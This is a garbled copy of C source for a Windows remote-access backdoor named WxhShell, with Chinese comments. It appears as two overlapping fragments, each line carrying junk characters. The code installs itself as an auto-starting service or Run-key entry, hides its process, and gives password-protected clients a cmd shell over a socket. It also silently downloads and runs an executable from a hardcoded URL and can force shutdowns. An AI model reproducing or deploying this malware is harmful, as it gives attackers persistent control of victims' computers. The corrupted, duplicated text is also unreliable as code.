    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  +'.Q-  
    else { !;Nh7vG  
    closesocket(wsh); 7*"LW  
    ExitThread(0); qG]PUc>j  
    } e|yuPd  
    break; I0RWdOK8K  
    } *$D-6}Oay  
  // 获取shell y8z%s/gRh  
  case 's': { &}1)]6q$  
    CmdShell(wsh); ,$-PC=Ti(  
    closesocket(wsh); L9oZ7o  
    ExitThread(0); G)7sXEe  
    break; q /?_djv  
  } Q2?qvNZ  
  // 退出 Q#KjX;No  
  case 'x': { 4/>={4Y9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lej{VcG  
    CloseIt(wsh); 0{F.DDiNT  
    break; ;xwQzu%M>5  
    } {H2i+"cF  
  // 离开 Y\sjm]_  
  case 'q': { CV"Y40  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HXI}f\6x  
    closesocket(wsh); E:k?*l  
    WSACleanup(); 6~>k]G  
    exit(1); yk{alSF  
    break; ] ),' =@  
        } .vMi <U;  
  } {8RGW0 Y  
  } %A3Jd4DH  
9#!tzDOtD  
  // 提示信息 nT"z(\i.!J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8F1!9W7  
} e_TDO   
  } }}_l@5  
&)-?=M  
  return; H #_Z6J  
} 7l3q~dQ  
q =6 Y2Q  
// shell模块句柄 Vk-_H)*r  
int CmdShell(SOCKET sock) ?f..N,s  
{ "#jKk6{I0  
STARTUPINFO si; N=9lA0y+  
ZeroMemory(&si,sizeof(si)); Cq~Ir*"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6bba}P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _8 J (;7  
PROCESS_INFORMATION ProcessInfo; }q9f,mz  
char cmdline[]="cmd"; <lR8MqjM_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rY}ofq7b  
  return 0; p~IvkW>ln)  
} )A%Y wI$  
G>x0}c  
// 自身启动模式 ~55>uw<  
int StartFromService(void) 'oG'`ED"  
{ '! (`?  
typedef struct g 7X>i:  
{ |:z%7J3wP  
  DWORD ExitStatus; Yo:&\a K[  
  DWORD PebBaseAddress; tPsU7bFk  
  DWORD AffinityMask; odDt.gQXU  
  DWORD BasePriority; 7[L C*nrr  
  ULONG UniqueProcessId; :Kiu*&{  
  ULONG InheritedFromUniqueProcessId; &kvVMn ok  
}   PROCESS_BASIC_INFORMATION; qb&*,zN  
t At+5H  
PROCNTQSIP NtQueryInformationProcess; kWFR(J&R  
)Pq.kn{Sp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K4BMa]/U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S[M$>  
^-ZqS  
  HANDLE             hProcess; 0W> ",2|z  
  PROCESS_BASIC_INFORMATION pbi; ;q Z2V  
K#jm6Xh?E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )1/O_N6C  
  if(NULL == hInst ) return 0; 6F2}|c  
rQJoaP+\q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YC~+r8ME$j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F/8y p<_r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J$0*K+m  
?W()Do1tR  
  if (!NtQueryInformationProcess) return 0; GfDA5v[  
sC>8[Jatd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6%TV X  
  if(!hProcess) return 0; 'PZJ{8=  
Gx m"HC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `|R{^Sk1o  
K\G|q}E/1  
  CloseHandle(hProcess); ;6?K&}J)-  
rgr> ;   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Wxjpe4  
if(hProcess==NULL) return 0; ]P.S5s'  
Ch3##-  
HMODULE hMod; U/>5C:  
char procName[255];  l}JVRU{  
unsigned long cbNeeded; ~0L>l J  
E%TvGe;#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vsK>?5{C-  
-Db(  
  CloseHandle(hProcess); g(1'i1  
Uu ,Re  
if(strstr(procName,"services")) return 1; // 以服务启动 ~c4Y*]J  
Ae1},2py  
  return 0; // 注册表启动 "'%x|nB  
} xfb%bkr  
||qW'kNWM  
// 主模块 ?G@%haqn6  
int StartWxhshell(LPSTR lpCmdLine) ;Bm{_$hf=  
{ IcB>Hg5  
  SOCKET wsl; ,Fb#%r%  
BOOL val=TRUE; R0Qp*&AL  
  int port=0; q_!3<.sf  
  struct sockaddr_in door; >a,w8^7  
q+<TD#xoL  
  if(wscfg.ws_autoins) Install(); |$Td-M^)  
CXa$QSu>  
port=atoi(lpCmdLine); ~/t# J  
6`'^$wKs  
if(port<=0) port=wscfg.ws_port; di"*K*~y  
=3FXU{"Qi4  
  WSADATA data; \-^3Pe,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OA+W$  
k,2% %m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8_>R'u[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5QlJX  
  door.sin_family = AF_INET; grZN.zTO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yt?# T #  
  door.sin_port = htons(port); ,W.O*vCA  
Mf?4 `LM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -Jb I7Le  
closesocket(wsl); >6Q-e$GS@  
return 1; \o/oM,u  
} PWTAy\  
hSxf;>(d  
  if(listen(wsl,2) == INVALID_SOCKET) { p0Vw@R=  
closesocket(wsl); o;t{YfK  
return 1; Ba"Z^(:  
} t ,0~5>5  
  Wxhshell(wsl); g%K3ah v  
  WSACleanup(); JWLQ9U X  
;lGjj9we>  
return 0; c Mq|`CM  
wEdXaOEB5  
} |KuH2, n0  
L;Nm"[ `  
// 以NT服务方式启动 C3|M\[*fp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x k#/J]j  
{ kc}e},k  
DWORD   status = 0; VP[ J#TPU  
  DWORD   specificError = 0xfffffff; zzM 'uo  
C@xh$(y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 86[T BX5'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g1Aq;Ah/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `Do-!G+W  
  serviceStatus.dwWin32ExitCode     = 0; <MoWS9s!yb  
  serviceStatus.dwServiceSpecificExitCode = 0; 7uYJ _R  
  serviceStatus.dwCheckPoint       = 0; 3iDRt&y=.  
  serviceStatus.dwWaitHint       = 0; WO|#`HM2  
O`*}N1No[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *edB3!!  
  if (hServiceStatusHandle==0) return; ondF  
nP] ~8ViS  
status = GetLastError(); 'En6h"{  
  if (status!=NO_ERROR) \ZXH(N*>2t  
{ ]2?t $"G8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z O&5C6qa  
    serviceStatus.dwCheckPoint       = 0; =YR/|9(  
    serviceStatus.dwWaitHint       = 0; 9\V^q9l  
    serviceStatus.dwWin32ExitCode     = status; }yUZ(k#  
    serviceStatus.dwServiceSpecificExitCode = specificError; b*7OIN5h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =^NR(:SaaU  
    return; nT:ZSJWM  
  } O0e6I&u :  
XSXS;Fh)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m+zzhv1  
  serviceStatus.dwCheckPoint       = 0; JBp^@j{_  
  serviceStatus.dwWaitHint       = 0; G>"w$Us  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); < f1Pj  
} Y7 = *-  
Ig~lD>dnr'  
// 处理NT服务事件,比如:启动、停止 Or0=:?4`  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  t;{/Q&C  
{ YeT[KjX  
switch(fdwControl) phd,Jg[  
{ 5EM(3eY^q  
case SERVICE_CONTROL_STOP: s~,Ypo?  
  serviceStatus.dwWin32ExitCode = 0; Nw8lg*t"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =j6f/8   
  serviceStatus.dwCheckPoint   = 0; Dr&2q X!  
  serviceStatus.dwWaitHint     = 0; c5pF?kFaD  
  { +g%kr~w=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pr9$( 6MX  
  } Iell`;  
  return; K%O%#Kk  
case SERVICE_CONTROL_PAUSE: A?=g!(wB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *zJ}=%)f  
  break; e+j7dmGa  
case SERVICE_CONTROL_CONTINUE: .hXxh)F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q YPsqkF*  
  break; YhRES]^  
case SERVICE_CONTROL_INTERROGATE: |X0h-kX4  
  break; UO>ADRs}  
}; 2/3,%5j_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h#a,<B|  
} Jc95Ki1X  
hvkLcpE  
// 标准应用程序主函数 @h$cHZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %N04k8z  
{ QOB>Tv E  
Hz `aj  
// 获取操作系统版本 ^fa+3`>  
OsIsNt=GetOsVer(); 7E 6gXf.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x=(Q$Hl5  
/^SIJS@^`>  
  // 从命令行安装 To.CY^M  
  if(strpbrk(lpCmdLine,"iI")) Install(); "k[-eFz/@M  
;N#d'E\  
  // 下载执行文件 E9i M-Lw  
if(wscfg.ws_downexe) { 1YL6:5n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8c3Qd  
  WinExec(wscfg.ws_filenam,SW_HIDE); QX-%<@  
} ?#da4W  
{1Z8cV   
if(!OsIsNt) { Dyyf%'\M  
// 如果时win9x,隐藏进程并且设置为注册表启动 hOG9  
HideProc(); [@(M%  
StartWxhshell(lpCmdLine); Bvb.N$G  
} E<y0;l?H<  
else 9ldv*9v  
  if(StartFromService()) O`<id+rx  
  // 以服务方式启动 G(" S6u  
  StartServiceCtrlDispatcher(DispatchTable); xEb+sE6Z  
else MOi.bHCQJP  
  // 普通方式启动 %ukFn &-2@  
  StartWxhshell(lpCmdLine); n]S DpptM  
MEf`&<t  
return 0; M{w[hV  
} }8`W%_Yk  
[uqe|< :  
hH_&42E6  
>$Sc}a3  
=========================================== :sDE 'o  
9$U@h7|Q`  
TrD2:N}dI  
Er509zZ,[  
1j"_@?H[  
&3~lZa;D  
" CobMagPhr  
cAnL,?_v  
#include <stdio.h> Q$u&/g3NvL  
#include <string.h> mCah{~  
#include <windows.h> O|wu;1pQ  
#include <winsock2.h> 5P'o+Vwz  
#include <winsvc.h> q% *-4GP  
#include <urlmon.h> >ka*-8?  
~QzUQYG*  
#pragma comment (lib, "Ws2_32.lib") qRi;[`  
#pragma comment (lib, "urlmon.lib") jd ]$U_U(  
J'{69<`Dl  
#define MAX_USER   100 // 最大客户端连接数 |[qq $  
#define BUF_SOCK   200 // sock buffer Z1Y/2MVSb  
#define KEY_BUFF   255 // 输入 buffer a_}k^zw(  
"pUqYMB2i  
#define REBOOT     0   // 重启 xgeDfpF'  
#define SHUTDOWN   1   // 关机 4u0\|e@a  
NEp )V'  
#define DEF_PORT   5000 // 监听端口 TNun)0p  
+pMa-{  
#define REG_LEN     16   // 注册表键长度 Zfwhg4G~  
#define SVC_LEN     80   // NT服务名长度 V}=%/OY?  
T .#cd1b  
// 从dll定义API k_ d)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f 0"N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9NzK1V0X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;6+e!h'1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =T7lv%u  
Qg9*mlm`  
// wxhshell配置信息 3%HF"$Gg  
struct WSCFG { n@1;5)&k~  
  int ws_port;         // 监听端口 q-? k=RX`  
  char ws_passstr[REG_LEN]; // 口令 PH!^ww6  
  int ws_autoins;       // 安装标记, 1=yes 0=no (S<Z@y+d  
  char ws_regname[REG_LEN]; // 注册表键名 j<,Ho4v}_  
  char ws_svcname[REG_LEN]; // 服务名 i*ibx;s-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [k<"@[8)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V/N:Of:\R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lSW6\jX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F"I{_yleq'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -O&u;kh4g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [te9ui%JS  
CB!5>k+mC  
}; H|UGR ~&  
M8Tj;ATr  
// default Wxhshell configuration v$n J$M&k  
struct WSCFG wscfg={DEF_PORT, .C HET]  
    "xuhuanlingzhe", X1wlOE  
    1, s<#["K*_  
    "Wxhshell", I| V yv  
    "Wxhshell", nf%"7y{dd  
            "WxhShell Service", +F>9hA  
    "Wrsky Windows CmdShell Service", ^jph"a C  
    "Please Input Your Password: ", ioJ~k[T  
  1, %1JN%  
  "http://www.wrsky.com/wxhshell.exe", @'5*u~M  
  "Wxhshell.exe" p*LG Y+  
    }; l(Y U9dp  
[nYm-\M  
// 消息定义模块 2D'b7zPJ3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /Ko{S_3< I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 44r@8HO1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JyiP3whW  
char *msg_ws_ext="\n\rExit."; W'98ues%  
char *msg_ws_end="\n\rQuit."; |$>ZGs#  
char *msg_ws_boot="\n\rReboot..."; GF^)](xY+  
char *msg_ws_poff="\n\rShutdown..."; `S)*(s?T  
char *msg_ws_down="\n\rSave to "; sLHUQ(S!  
*- S/{ .&  
char *msg_ws_err="\n\rErr!"; !<EQVqj6  
char *msg_ws_ok="\n\rOK!"; pwIu;:O!?  
UgqfO(  
char ExeFile[MAX_PATH]; 0aWy!d  
int nUser = 0; 3)ZdT{ MY  
HANDLE handles[MAX_USER]; = n>aJ(=Pd  
int OsIsNt; N'5AU (  
@gc|Z]CV  
SERVICE_STATUS       serviceStatus; G d%X> ~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B)L=)N  
- WEEnwZ  
// 函数声明 Q`0 k=<  
int Install(void); wO-](3A-8P  
int Uninstall(void); j]6c_r3  
int DownloadFile(char *sURL, SOCKET wsh); -O~ V4004  
int Boot(int flag); 9y$"[d27;+  
void HideProc(void); AcoU.tpP  
int GetOsVer(void); iHYvH   
int Wxhshell(SOCKET wsl); RX"~m!26  
void TalkWithClient(void *cs); h=x{ 3P;B  
int CmdShell(SOCKET sock); TXH9BlDn  
int StartFromService(void); g %e"KnU  
int StartWxhshell(LPSTR lpCmdLine); 5eL_iNqJM  
Qnr7Qnb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VX'cFqrK3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NA/hs/ '  
asj*/eC$/i  
// 数据结构和表定义 )ZHo7X  
SERVICE_TABLE_ENTRY DispatchTable[] =  ?|$IZ9  
{ USDqh437  
{wscfg.ws_svcname, NTServiceMain}, ^Gt9.  
{NULL, NULL} fGf C[DuY  
}; \9Yc2$dY  
=rL^^MZp  
// 自我安装 ^#0k\f>_  
int Install(void) h%=>iQ%enc  
{ Shag4-*@hi  
  char svExeFile[MAX_PATH]; BKJwM'~  
  HKEY key; J]"IT*-Ht  
  strcpy(svExeFile,ExeFile); %~{G*%:  
Jx-dWfe  
// 如果是win9x系统,修改注册表设为自启动 ", Ge:\TR=  
if(!OsIsNt) { uG:xd0X+W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l,w$!FnmR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9$iDK$%  
  RegCloseKey(key); $%GW~|S\C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G&DL)ePu]m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wF\5 X  
  RegCloseKey(key); Fx]}<IudA^  
  return 0; 7%7 \2!0J}  
    } y]YUuJ9a  
  } tUrwg  
} %=G*{mK  
else { 15)y]N={^  
lDU@Q(V#}<  
// 如果是NT以上系统,安装为系统服务 .$s>b#mO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dU<qFxW  
if (schSCManager!=0) `9>1 w d  
{ 9|K3xH  
  SC_HANDLE schService = CreateService s.{nxk.  
  ( 2$@N4  
  schSCManager, H6Dw5vG"l  
  wscfg.ws_svcname, 9~lC/I')t  
  wscfg.ws_svcdisp, 2sXNVo8`w"  
  SERVICE_ALL_ACCESS, >vny9^_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v "Yo  
  SERVICE_AUTO_START, -0G/a&ss  
  SERVICE_ERROR_NORMAL, $ KAOJc4<  
  svExeFile, 0^G5 zQlj  
  NULL, xkPH_+4i8  
  NULL, JsY|Fv  
  NULL, !o{>[  
  NULL, ]A]EED.ZH  
  NULL g/_j"Nn  
  ); ^:Hx.  
  if (schService!=0) gq`S`  
  { kaUEv\T   
  CloseServiceHandle(schService); &40# _>W7  
  CloseServiceHandle(schSCManager); %@Ow.7zh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +T,Yf/^Fn  
  strcat(svExeFile,wscfg.ws_svcname); .kT}E5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K4`)srd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nS$_VJ]~  
  RegCloseKey(key); l+!eC lM%  
  return 0; ?ZS/`P0}[  
    } ]Lz:oV^%  
  } 6.(L8.jv  
  CloseServiceHandle(schSCManager); 4IUdlb  
} Zk .V   
} Yfa`}hQ  
+yO^,{8SE  
return 1; M&q3xo"w  
} W81 dLeTZg  
grWmF3c#  
// 自我卸载 J.;{`U=:  
int Uninstall(void) xJemc3]2  
{ O3];1ud  
  HKEY key; >dU.ic?19  
z<h?WsL  
if(!OsIsNt) { ?mME^?x Mu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |9&bkojo  
  RegDeleteValue(key,wscfg.ws_regname); R8(Bt73  
  RegCloseKey(key); +"8-)'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OMM5p=2Q  
  RegDeleteValue(key,wscfg.ws_regname); "$6 .L^9W  
  RegCloseKey(key); A-GU:B  
  return 0; EH2a  
  } `rQDX<?  
} )o[Jxu'  
} rV[/G#V>{  
else { 5+yT{,(5  
=|Vm69  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z c4l{+3  
if (schSCManager!=0) 6%Ws>H4@|  
{ "%[aWb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |u5Xi5q.f  
  if (schService!=0) T x 6\  
  { M%S.Z4D (0  
  if(DeleteService(schService)!=0) { |Js?@  
  CloseServiceHandle(schService); V#-\ 4`c  
  CloseServiceHandle(schSCManager); 3l?-H|T  
  return 0; YuVg/ '=  
  } ^.:dT?@R  
  CloseServiceHandle(schService); ?K9zTas@  
  } l NhX)D^t  
  CloseServiceHandle(schSCManager); _ W +  
} {%PgR){qR  
} {EL J!o[  
|tua*zEsS  
return 1; M s5L7S  
} JrA\ V=K  
\[MQJX,dn  
// 从指定url下载文件 _ giZ'&l!  
int DownloadFile(char *sURL, SOCKET wsh) WJJwhr  
{ ~IIlCmMl,  
  HRESULT hr; r{1xjAT  
char seps[]= "/"; Sb,lY<=  
char *token; b xFDB^  
char *file; 2J0N]`|)  
char myURL[MAX_PATH]; *$/!.e  
char myFILE[MAX_PATH]; # qPWJ  
V 'e _gH  
strcpy(myURL,sURL); eJ2$DgB}t  
  token=strtok(myURL,seps); Pko2fJt1  
  while(token!=NULL) J*}Qnl+  
  { B(/)mB  
    file=token; {=A8kgt  
  token=strtok(NULL,seps); VHlo}Ek<#  
  } E6njm du  
T>e4Og"?  
GetCurrentDirectory(MAX_PATH,myFILE); \ W.uV[\  
strcat(myFILE, "\\"); DuzJQ Sv  
strcat(myFILE, file); Y%"73.x  
  send(wsh,myFILE,strlen(myFILE),0); i<>zN^zn  
send(wsh,"...",3,0); p^/6Rb"e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #lo1GoL\  
  if(hr==S_OK) \&#pJBBG  
return 0; Zwm2T3@e  
else ~SD8#;v2  
return 1; w>6~ zAh  
'$m uA\  
} 8<X,6  
VzZ'W[/7)B  
// 系统电源模块 5L%\rH&N  
int Boot(int flag) 4y$tp1 8  
{ D qh rg;  
  HANDLE hToken; .*acw  
  TOKEN_PRIVILEGES tkp; NJ];Ck  
f.X<Mo   
  if(OsIsNt) { l:?w{'i$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gxf{/EjH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %V2A}78  
    tkp.PrivilegeCount = 1; hErO.ad1o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [\ALT8vC?m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E%tGwbi7  
if(flag==REBOOT) { fH6mv0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t;2\(_A  
  return 0; yWkg4  
} mO|YX/>  
else { p%?m|(4f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OqNtTk+  
  return 0; J=@D]I*3  
} ']cRSj.  
  } g[ dI%  
  else { m.0: R  
if(flag==REBOOT) { ,rZp(moj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "T+oXK\B  
  return 0; o1B8_$aYgc  
} hJsYKd8g  
else { G$T#ql  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /Q*o6G ys0  
  return 0; YKtF)N;m]  
} x.ZW%P1  
} $lYy`OuC  
q o^PS  
return 1; X6`F<H`  
} /6@iRswa  
pZUXXX  
// win9x进程隐藏模块 AIK99  
void HideProc(void) "z/)> ?Wn  
{ .{}=!>U2  
h:qt?$]J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %hM8px4d  
  if ( hKernel != NULL ) |2'u@<(Z/  
  { F\lnG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q#a<T4l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :l/?cV;  
    FreeLibrary(hKernel); QgZ`~  
  } ljJi|+^$  
qY^@^)b[  
return; FWu[{X;  
} T|fmO<e*n  
zJ9[),;7B  
// 获取操作系统版本 :1/K$A)^{  
int GetOsVer(void) kafRuO~$  
{ d=J$H<  
  OSVERSIONINFO winfo; QhqXd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V% PeZ.Xv  
  GetVersionEx(&winfo); +q NX/F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BXx0Z %e.3  
  return 1; t!S ja  
  else Q3OGU}F  
  return 0; w,/&oe5M+  
} E` O@UW@  
C % d  
// 客户端句柄模块 vy&< O  
int Wxhshell(SOCKET wsl) H,I k&{@j  
{ F[HMX4  
  SOCKET wsh; rQ+2 -|#  
  struct sockaddr_in client; 8;vpa*  
  DWORD myID; o fw0_)!Q  
U0Q:sA U  
  while(nUser<MAX_USER) uOU?-WtPz  
{ WhY8#B'?  
  int nSize=sizeof(client); xP+HdA2X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |4lrVYG^K  
  if(wsh==INVALID_SOCKET) return 1; V < ;vy&&  
H)u<$y!8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Frxim  
if(handles[nUser]==0) >^\}"dEvr  
  closesocket(wsh); BEfp3|Stb  
else &y~EEh|  
  nUser++; C~PoC'"q  
  } y;1 'hP&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s'Op|`&X  
]`S35b  
  return 0; 7 g2@RKo  
} 9"%ot=)  
[ S_8;j  
// 关闭 socket T+9#&  
void CloseIt(SOCKET wsh) b7nER]R  
{ _h2s(u >\  
closesocket(wsh); E,fG<X{  
nUser--; iR`c/  
ExitThread(0); e.<y-b?  
} p"lTZ7c:Y  
4Z"JC9As  
// 客户端请求句柄 vi :IO  
void TalkWithClient(void *cs) Ev'Bm Dk  
{ _0uFe7sIZ  
CG -^}xE:  
  SOCKET wsh=(SOCKET)cs; dDeImSeV  
  char pwd[SVC_LEN]; ejID5NqG  
  char cmd[KEY_BUFF]; t(,_  
char chr[1]; 4PVkKP'/  
int i,j; Ie14`'  
hrt ]Qn&  
  while (nUser < MAX_USER) { Cc7YjsRW  
P{{pp<tX*&  
if(wscfg.ws_passstr) { K}(0H[P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fQtV-\Bc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -55Pvg0ND  
  //ZeroMemory(pwd,KEY_BUFF); 8&0+Az"{O  
      i=0; >gqd y*Bg  
  while(i<SVC_LEN) { %%=PpKYtSD  
l_`DQ8L`  
  // 设置超时 >#j f Z5t  
  fd_set FdRead; R"0fZENTG  
  struct timeval TimeOut; 9*"Ae0ok1  
  FD_ZERO(&FdRead); .S{Q }S  
  FD_SET(wsh,&FdRead); #UO#kC<2(B  
  TimeOut.tv_sec=8; Ig*qn# Dd  
  TimeOut.tv_usec=0; @fML.AT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -5_[m@Vr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n%"0%A  
S@N:Cj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R>05MhA+  
  pwd=chr[0]; qit D{;  
  if(chr[0]==0xd || chr[0]==0xa) { 2d`:lk%\  
  pwd=0; S<+/Ep 2  
  break; AZi|85rN  
  } >We:g Kxr  
  i++; mROXwzL  
    } _Coh11  
T<\!7 RnLc  
  // 如果是非法用户,关闭 socket G31??L:<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ATdK)gG  
} /61P`1y(J  
D{4Ehr "T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xK3 xiR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0."TSe83\  
h.`U)6*?&N  
while(1) { cnrS.s=  
`k>h2(@9S  
  ZeroMemory(cmd,KEY_BUFF); f8m%T%]f  
`(RQh@H  
      // 自动支持客户端 telnet标准   RH=Tu6i  
  j=0; tc_D8Q_  
  while(j<KEY_BUFF) { v@6TC1M,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %dyEF8)  
  cmd[j]=chr[0]; ~;pv &s5}  
  if(chr[0]==0xa || chr[0]==0xd) { UX9r_U5)  
  cmd[j]=0; $h({x~Oj9  
  break; JpFfO<uO  
  } :-I~-Yj  
  j++; vWM3JH~a6  
    } RuW62QSq  
*i}Nb* Z3  
  // 下载文件 D9#?l <D  
  if(strstr(cmd,"http://")) { r dc} e"v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q|^TR__  
  if(DownloadFile(cmd,wsh)) 7d7"^M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %/86}DCfE?  
  else nmLn]U=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5K~kzR L$r  
  } _>G=v!  
  else { UHtxzp =[  
\Lz2"JI  
